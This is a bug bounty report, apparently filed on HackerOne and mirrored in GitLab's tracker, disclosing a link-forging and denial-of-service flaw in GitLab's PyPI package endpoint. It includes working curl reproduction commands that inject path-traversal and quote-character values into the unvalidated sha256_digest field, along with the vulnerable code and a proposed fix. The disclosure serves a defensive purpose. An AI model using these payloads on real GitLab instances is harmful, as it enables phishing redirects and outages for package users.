Skip to content

Forging GET Requests through and Denying Service of Simple PyPi API Endpoint

HackerOne report #996850 by iwis on 2020-10-03, assigned to @ankelly:

Report

Report

Summary

The simple PyPi API endpoint of GitLab is vulnerable to stored XSS and DoS through the sha256_digest parameter of package files. This allows an attacker to forge GET requests within the domain of gitlab.com or a self-hosted GitLab instance on the behalf of a victim and deny the service of said simple PyPi API endpoint to users. This vulnerability applies to both, gitlab.com and self-hosted GitLab instances and requires user interaction (i.e, a single click).

Steps to reproduce
  1. Create a new project or refer to an existing project with the package registry enabled (by default, the package registry is enabled).

  2. Create a PyPi package by uploading a package file through GitLab's API:

    curl -v "https://__token__:$PAT@gitlab.com/api/v4/projects/$PROJECT/packages/pypi" -F content='@/tmp/help' -F requires_python=3.8 -F version=1 -F name='totally_innocent_package' -F sha256_digest='../../../../../../..'  

    with $PAT being your personal access token and $PROJECT being the ID of the targeted project.

  3. Visit: https://gitlab.com/api/v4/projects/21471488/packages/pypi/simple/totally_innocent_package.

  4. Click on the link help.

  5. Observe being redirected to gitlab.com/help.

Note: the project I use in this example is only visible to me, please let me know if you want me to change that.

Impact

This vulnerability can mislead a user to think that they download a package file by clicking on its link, whereas they will be directed to another resource on the same domain. Especially with self-hosted GitLab instances on a relative URL (e.g., example.com/gitlab), the attacker can route the victim to a malicious, possibly attacker-controlled, resource (e.g., a phishing website). Secondly, injecting unallowed characters into the URL's path leads to a status code 500 on the simple PyPi API endpoint, effectively denying service for users (refer to an example of that below).

Examples

The exemplary project in the reproduction steps illustrates how to route a victim to another resource. I have verified that these steps also apply to a self-hosted GitLab instance with the latest version of GitLab, i.e., 13.4.2.

Denial of Service
  1. Create a package file through GitLab's API:

    curl -v "https://__token__:$PAT@gitlab.com/api/v4/projects/$PROJECT/packages/pypi" -F content='@/tmp/denial-of-service' -F requires_python=3.8 -F version=1 -F name='totally_innocent_package' -F sha256_digest='"'  

    with $PAT being your personal access token and $PROJECT being the ID of the targeted project.

  2. Visit: https://gitlab.com/api/v4/projects/21471488/packages/pypi/simple/totally_innocent_package.

  3. Observe the response being {"message":"500 Internal Server Error"}.

Note: it is still possible to download the package files through https://gitlab.com/dpfuerst/xss-through-pypi-repository/-/packages/562993.

What is the current bug behavior?

Uploading a file to GitLab via

curl -v "https://__token__:$PAT@gitlab.com/api/v4/projects/$PROJECT/packages/pypi" -F content='@/tmp/help' -F requires_python=3.8 -F version=1 -F name='totally_innocent_package' -F sha256_digest='../../../../../../..'  

triggers the PyPi Package upload endpoint:

desc 'The PyPi Package upload endpoint' do  
  detail 'This feature was introduced in GitLab 12.10'  
end

params do  
  requires :content, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)'  
  requires :requires_python, type: String  
  requires :name, type: String  
  requires :version, type: String  
  optional :md5_digest, type: String  
  optional :sha256_digest, type: String  
end

route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth  
post do  
  authorize_upload!(authorized_user_project)  
  bad_request!('File is too large') if authorized_user_project.actual_limits.exceeded?(:pypi_max_file_size, params[:content].size)

  track_package_event('push_package', :pypi)

  ::Packages::Pypi::CreatePackageService  
    .new(authorized_user_project, current_user, declared_params)  
    .execute

  created!  
rescue ObjectStorage::RemoteStoreError => e  
  Gitlab::ErrorTracking.track_exception(e, extra: { file_name: params[:name], project_id: authorized_user_project.id })

  forbidden!  
end  

and allows submitting an optional parameter sha256_digest that is not subject to any validation. In turn, the package presenter for PyPi packages takes the sha256_digest and builds the href attribute of the package file links without any validation:

def build_pypi_package_path(file)  
  expose_url(  
    api_v4_projects_packages_pypi_files_file_identifier_path(  
      {  
        id: [@]project.id,  
        sha256: file.file_sha256,  
        file_identifier: file.file_name  
      },  
      true  
    )  
  ) + "#sha256=#{file.file_sha256}"  
end  

If sha256_digest contains characters that are not valid in the context of an absolute path as defined in RFC 3986, expose_url will fail due to URI::Generic.build rejecting the invalid absolute path:

{
  "time": "2020-10-03T00:11:48.302Z",  
  "severity": "INFO",  
  "duration_s": 0.0208,  
  "db_duration_s": 0.00359,  
  "view_duration_s": 0.01721,  
  "status": 500,  
  "method": "GET",  
  "path": "/api/v4/projects/[REDACTED]/packages/pypi/simple/totally_innocent_package",  
  "params": [],  
  "host": "[REDACTED]",  
  "remote_ip": "[REDACTED]",  
  "ua": "[REDACTED]",  
  "route": "/api/:version/projects/:id/packages/pypi/simple/*package_name",  
  "user_id": [REDACTED],  
  "username": "[REDACTED]",  
  "exception.class": "URI::InvalidComponentError",  
  "exception.message": "bad component(expected absolute path component): /api/v4/projects/[REDACTED]/packages/pypi/files/\"/denial-of-service",  
  "exception.backtrace": [  
    "lib/api/helpers/related_resources_helpers.rb:29:in `expose_url'",  
    "app/presenters/packages/pypi/package_presenter.rb:54:in `build_pypi_package_path'",  
    "app/presenters/packages/pypi/package_presenter.rb:40:in `block (2 levels) in links'",  
    "app/presenters/packages/pypi/package_presenter.rb:39:in `block in links'",  
    "app/presenters/packages/pypi/package_presenter.rb:38:in `map'",  
    "app/presenters/packages/pypi/package_presenter.rb:38:in `links'",  
    "app/presenters/packages/pypi/package_presenter.rb:27:in `body'",  
    "lib/api/pypi_packages.rb:104:in `block (3 levels) in <class:PypiPackages>'",  
    "ee/lib/gitlab/middleware/ip_restrictor.rb:14:in `block in call'",  
    "ee/lib/gitlab/ip_address_state.rb:10:in `with'",  
    "ee/lib/gitlab/middleware/ip_restrictor.rb:13:in `call'",  
    "lib/gitlab/request_profiler/middleware.rb:17:in `call'",  
    "lib/gitlab/jira/middleware.rb:19:in `call'",  
    "lib/gitlab/middleware/go.rb:20:in `call'",  
    "lib/gitlab/etag_caching/middleware.rb:13:in `call'",  
    "lib/gitlab/middleware/multipart.rb:217:in `call'",  
    "lib/gitlab/middleware/read_only/controller.rb:51:in `call'",  
    "lib/gitlab/middleware/read_only.rb:18:in `call'",  
    "lib/gitlab/middleware/same_site_cookies.rb:27:in `call'",  
    "lib/gitlab/middleware/basic_health_check.rb:25:in `call'",  
    "lib/gitlab/middleware/handle_ip_spoof_attack_error.rb:25:in `call'",  
    "lib/gitlab/middleware/request_context.rb:23:in `call'",  
    "config/initializers/fix_local_cache_middleware.rb:9:in `call'",  
    "lib/gitlab/metrics/requests_rack_middleware.rb:60:in `call'",  
    "lib/gitlab/middleware/release_env.rb:12:in `call'"  
  ],  
  "queue_duration_s": 0.004383,  
  "redis_calls": 1,  
  "redis_duration_s": 0.000169,  
  "redis_read_bytes": 331,  
  "redis_write_bytes": 870,  
  "redis_shared_state_calls": 1,  
  "redis_shared_state_duration_s": 0.000169,  
  "redis_shared_state_read_bytes": 331,  
  "redis_shared_state_write_bytes": 870,  
  "correlation_id": "[REDACTED]",  
  "meta.user": "[REDACTED]",  
  "meta.caller_id": "/api/:version/projects/:id/packages/pypi/simple/*package_name"  
}
What is the expected correct behavior?

Uploading a file to GitLab via

curl -v "https://__token__:$PAT@gitlab.com/api/v4/projects/$PROJECT/packages/pypi" -F content='@/tmp/help' -F requires_python=3.8 -F version=1 -F name='totally_innocent_package' -F sha256_digest='../../../../../../..'  

should restrict the value that sha256_digest can take to

SHA256_REGEX = /\A[0-9a-f]{64}\z/i.freeze  

and provide a corresponding error in the case of a violation.

Note: the same probably applies to the optional parameter md5_digest, although I believe that the lack of a restriction does currently not pose a vulnerability.

Relevant logs and/or screenshots

N/A

Output of checks

This bug happens on gitlab.com and self-hosted GitLab instances.

Results of GitLab environment info
System information  
System:		Ubuntu 16.04  
Proxy:		no  
Current User:	git  
Using RVM:	no  
Ruby Version:	2.6.6p146  
Gem Version:	2.7.10  
Bundler Version:1.17.3  
Rake Version:	12.3.3  
Redis Version:	5.0.9  
Git Version:	2.28.0  
Sidekiq Version:5.2.9  
Go Version:	unknown

GitLab information  
Version:	13.4.2-ee  
Revision:	34869f45ee8  
Directory:	/opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:	PostgreSQL  
DB Version:	11.7  
URL:		[REDACTED]  
HTTP Clone URL:	[REDACTED]  
SSH Clone URL:	[REDACTED]  
Elasticsearch:	no  
Geo:		no  
Using LDAP:	no  
Using Omniauth:	yes  
Omniauth Providers:

GitLab Shell  
Version:	13.7.0  
Repository storage paths:  
- default: 	[REDACTED]  
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell  
Git:		/opt/gitlab/embedded/bin/git  

Impact

This vulnerability can mislead a user to think that they download a package file by clicking on its link, whereas they will be directed to another resource on the same domain. Especially with self-hosted GitLab instances on a relative URL (e.g., example.com/gitlab), the attacker can route the victim to a malicious, possibly attacker-controlled, resource (e.g., a phishing website). Secondly, injecting unallowed characters into the URL's path leads to a status code 500 on the simple PyPi API endpoint, effectively denying service for users.

Edited by Andrew Kelly